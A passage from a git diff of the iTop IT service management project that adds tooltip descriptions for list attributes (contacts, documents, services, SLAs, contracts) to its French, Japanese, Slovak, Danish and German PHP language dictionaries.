'Class:ProviderContract/Attribute:coverage' => 'Couverture', @@ -232,7 +232,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ServiceFamily/Attribute:icon' => 'Icône', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Services', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'Tous les services de cette catégorie', )); // @@ -255,9 +255,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Service/Attribute:servicefamily_name' => 'Nom Famille de service', 'Class:Service/Attribute:servicefamily_name+' => '', 'Class:Service/Attribute:documents_list' => 'Documents', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'Tous les documents liés à ce service', 'Class:Service/Attribute:contacts_list' => 'Contacts', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'Tous les contacts pour ce service', 'Class:Service/Attribute:status' => 'Statut', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'implémentation', @@ -269,9 +269,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Service/Attribute:icon' => 'Icône', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Contrats client', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'Tous les contrats clients qui ont acquis ce service', 'Class:Service/Attribute:servicesubcategories_list' => 'Sous catégories de service', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'Toutes les sous catégories de service pour ce service', )); // @@ -357,9 +357,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:SLA/Attribute:organization_name' => 'Nom fournisseur', 'Class:SLA/Attribute:organization_name+' => 'Nom commun', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'Tous les objectifs pour ce niveau de service', 'Class:SLA/Attribute:customercontracts_list' => 'Contrats clients', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'Tous les contrats clients utilisant ce niveau de service', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Impossible de sauvegarder le lien avec le contrat client %1$s et le service %2$s : un SLA existe déjà.', )); @@ -502,9 +502,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:DeliveryModel/Attribute:description' => 'Description', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Contacts', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'Tous les contacts (Equipe ou Personne) pour ce modèle de support', 'Class:DeliveryModel/Attribute:customers_list' => 'Clients', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'Tous les clients ayant ce modèle de support', )); // diff --git a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/ja.dict.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/ja.dict.itop-service-mgmt-provider.php index 40a9ef142..5c9a70100 100644 --- a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/ja.dict.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/ja.dict.itop-service-mgmt-provider.php @@ -95,9 +95,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Contract/Attribute:organization_name' => '組織名', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => '連絡先', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => '文書', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => '説明', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => '開始日', @@ -144,11 +144,11 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:CustomerContract' => '顧客契約', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'サービス', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', 'Class:CustomerContract/Attribute:functionalcis_list' => 'CI', - 'Class:CustomerContract/Attribute:functionalcis_list+' => '', + 'Class:CustomerContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this contract~~', 'Class:CustomerContract/Attribute:providercontracts_list' => 'プロバイダー契約', - 'Class:CustomerContract/Attribute:providercontracts_list+' => '', + 'Class:CustomerContract/Attribute:providercontracts_list+' => 'All the provider contracts to deliver the services for this contract (underpinning contract)~~', )); // @@ -159,7 +159,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ProviderContract' => 'プロバイダー契約', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CI', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'サービス時間帯', @@ -229,7 +229,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'サービス', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -252,9 +252,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Service/Attribute:servicefamily_name' => 'サービスファミリ名', 'Class:Service/Attribute:servicefamily_name+' => '', 'Class:Service/Attribute:documents_list' => '文書', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => '連絡先', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => '状態', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => '実装', @@ -266,9 +266,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => '顧客契約', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'サービスサブカテゴリ', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -354,9 +354,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:SLA/Attribute:organization_name' => '組織名', 'Class:SLA/Attribute:organization_name+' => '', 'Class:SLA/Attribute:slts_list' => 'SLT', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => '顧客契約', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -499,9 +499,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:DeliveryModel/Attribute:description' => '説明', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => '連絡先', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => '顧客', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/sk.dict.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/sk.dict.itop-service-mgmt-provider.php index 80e3283ed..7a08264b9 100644 --- a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/sk.dict.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/sk.dict.itop-service-mgmt-provider.php @@ -105,9 +105,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Contract/Attribute:organization_name' => 'Meno zákazníka', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakty', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Zoznam dokumentov', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Popis', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Dátum začiatku', @@ -154,7 +154,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:CustomerContract' => 'Zákaznícka zmluva', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Služby', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', 'Class:CustomerContract/Attribute:functionalcis_list' => 'CIs~~', 'Class:CustomerContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this contract~~', 'Class:CustomerContract/Attribute:providercontracts_list' => 'Provider contracts~~', @@ -169,7 +169,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ProviderContract' => 'Poskytovateľská zmluva', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'Zariadenia', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'Časy pokrytia', @@ -239,7 +239,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '~~', 'Class:ServiceFamily/Attribute:services_list' => 'Služby', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -262,9 +262,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:servicefamily_name' => 'Názov rodiny služieb', 'Class:Service/Attribute:servicefamily_name+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumenty', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakty', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Stav', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementácia', @@ -276,9 +276,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '~~', 'Class:Service/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Podkategórie služieb', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -364,9 +364,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:SLA/Attribute:organization_name' => 'Názov organizácie poskytovateľa', 'Class:SLA/Attribute:organization_name+' => '', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => 'Zákaznícke zmluvy', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -509,9 +509,9 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:DeliveryModel/Attribute:description' => 'Popis', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakty', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Zákazníci', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt/dictionaries/da.dict.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/dictionaries/da.dict.itop-service-mgmt.php index a2a7e031a..1589d1f90 100644 --- a/datamodels/2.x/itop-service-mgmt/dictionaries/da.dict.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/dictionaries/da.dict.itop-service-mgmt.php @@ -84,9 +84,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Contract/Attribute:organization_name' => 'Kunde navn', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakt', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Dokument', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Beskrivelse', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Startdato', @@ -132,7 +132,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:CustomerContract' => 'Kunde kontrakt', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Ydelser', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', )); // @@ -200,7 +200,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Ydelser', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -223,9 +223,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Service/Attribute:description' => 'Beskrivelse', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumenter', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakter', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Status', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementering', @@ -237,13 +237,13 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Kunde kontrakter', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:providercontracts_list' => 'Leverandør kontrakter', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'All the provider contracts to support this service~~', 'Class:Service/Attribute:functionalcis_list' => 'Nødvendige CIs', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'All the configuration items that are used to provide this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Ydelses subkategorier', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -329,7 +329,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:SLA/Attribute:slts_list' => 'SLTs', 'Class:SLA/Attribute:slts_list+' => 'Service Level Threshholds:', 'Class:SLA/Attribute:customercontracts_list' => 'Kunde kontrakter', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -455,9 +455,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:DeliveryModel/Attribute:description' => 'Beskrivelse', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakt', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Kunde', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt/dictionaries/de.dict.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/dictionaries/de.dict.itop-service-mgmt.php index 6fd2450ee..dbe7b0d58 100644 --- a/datamodels/2.x/itop-service-mgmt/dictionaries/de.dict.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/dictionaries/de.dict.itop-service-mgmt.php @@ -86,9 +86,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Contract/Attribute:organization_name' => 'Kunden-Name', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakte', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Dokumente', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Beschreibung', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Anfangsdatum', @@ -134,7 +134,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:CustomerContract' => 'Kundenvertrag', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Services', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', )); // @@ -145,7 +145,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ProviderContract' => 'Provider-Vertrag', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CIs', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => 'Service Level Agreement', 'Class:ProviderContract/Attribute:coverage' => 'Abdeckung', @@ -202,7 +202,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Services', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -225,9 +225,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Service/Attribute:description' => 'Beschreibung', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumente', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakte', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Status', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementation', @@ -239,13 +239,13 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Service/Attribute:icon' => 'Icon', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Kunden-Verträge', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:providercontracts_list' => 'Provider-Verträge', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'All the provider contracts to support this service~~', 'Class:Service/Attribute:functionalcis_list' => 'Benötigte CIs', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'All the configuration items that are used to provide this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Service-Subkategorien', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -331,7 +331,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:SLA/Attribute:slts_list' => 'SLTs', 'Class:SLA/Attribute:slts_list+' => 'Service Level Targets:', 'Class:SLA/Attribute:customercontracts_list' => 'Kunden-Verträge', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Konnte den Link zwischen Kundevertrag %1$s und Service %2$s speichern: SLA existiert bereits', )); @@ -457,9 +457,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:DeliveryModel/Attribute:description' => 'Beschreibung', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakte', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Kunden', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt/dictionaries/fr.dict.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/dictionaries/fr.dict.itop-service-mgmt.php index df136b6a1..5c18575b8 100644 --- a/datamodels/2.x/itop-service-mgmt/dictionaries/fr.dict.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/dictionaries/fr.dict.itop-service-mgmt.php @@ -86,9 +86,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Contract/Attribute:organization_name' => 'Nom client', 'Class:Contract/Attribute:organization_name+' => 'Nom commun', 'Class:Contract/Attribute:contacts_list' => 'Contacts', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'Tous les contacts de ce contrat client', 'Class:Contract/Attribute:documents_list' => 'Documents', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'Tous les documents de ce contrat client', 'Class:Contract/Attribute:description' => 'Description', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Date de début', @@ -134,7 +134,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:CustomerContract' => 'Contrat client', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Services', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'Tous les services achetés pour ce contrat', )); // @@ -145,7 +145,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ProviderContract' => 'Contrat fournisseur', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CIs', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'Tous les éléments de configuration couverts par ce contrat fournisseur', 'Class:ProviderContract/Attribute:sla' => 'Niveau de service', 'Class:ProviderContract/Attribute:sla+' => 'Accord de niveau de service (SLA)', 'Class:ProviderContract/Attribute:coverage' => 'Couverture', @@ -202,7 +202,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ServiceFamily/Attribute:icon' => 'Icône', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Services', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'Tous les services de cette catégorie', )); // @@ -225,9 +225,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Service/Attribute:description' => 'Description', 'Class:Service/Attribute:description+' => '', 'Class:Service/Attribute:documents_list' => 'Documents', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'Tous les documents liés à ce service', 'Class:Service/Attribute:contacts_list' => 'Contacts', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'Tous les contacts liés à ce service', 'Class:Service/Attribute:status' => 'Statut', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'implémentation', @@ -239,13 +239,13 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Service/Attribute:icon' => 'Icône', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Contrats client', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'Tous les contrats clients qui ont souscrit à ce service', 'Class:Service/Attribute:providercontracts_list' => 'Contrats fournisseur', - 'Class:Service/Attribute:providercontracts_list+' => '', + 'Class:Service/Attribute:providercontracts_list+' => 'Tous les contrats fournisseurs qui offrent du support pour ce service', 'Class:Service/Attribute:functionalcis_list' => 'CIs', - 'Class:Service/Attribute:functionalcis_list+' => '', + 'Class:Service/Attribute:functionalcis_list+' => 'Tous les éléments de configuration utilsiés pour fournir ce service', 'Class:Service/Attribute:servicesubcategories_list' => 'Sous catégories de service', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'Toutes les sous catégories de service pour ce service', )); // @@ -329,9 +329,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:SLA/Attribute:organization_name' => 'Nom fournisseur', 'Class:SLA/Attribute:organization_name+' => 'Nom commun', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'Tous les objectifs pour ce niveau de service', 'Class:SLA/Attribute:customercontracts_list' => 'Contrats clients', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'Tous les contrats clients utilisant ce niveau de service', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Impossible de sauvegarder le lien avec le contrat client %1$s et le service %2$s : un SLA existe déjà.', )); @@ -457,9 +457,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:DeliveryModel/Attribute:description' => 'Description', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Contacts', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'Tous les contacts (Equipe ou Personne) pour ce modèle de support', 'Class:DeliveryModel/Attribute:customers_list' => 'Clients', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'Tous les clients ayant ce modèle de support', )); // diff --git a/datamodels/2.x/itop-service-mgmt/dictionaries/ja.dict.itop-service-mgmt.php b/datamodels/2.x/itop-service-mgmt/dictionaries/ja.dict.itop-service-mgmt.php index bf7d5ec9f..1068ec324 100644 --- a/datamodels/2.x/itop-service-mgmt/dictionaries/ja.dict.itop-service-mgmt.php +++ b/datamodels/2.x/itop-service-mgmt/dictionaries/ja.dict.itop-service-mgmt.php @@ -83,9 +83,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Contract/Attribute:organization_name' => '顧客名', 'Class:Contract/Attribute:organization_name+' => '共通の名前', 'Class:Contract/Attribute:contacts_list' => '連絡先', - 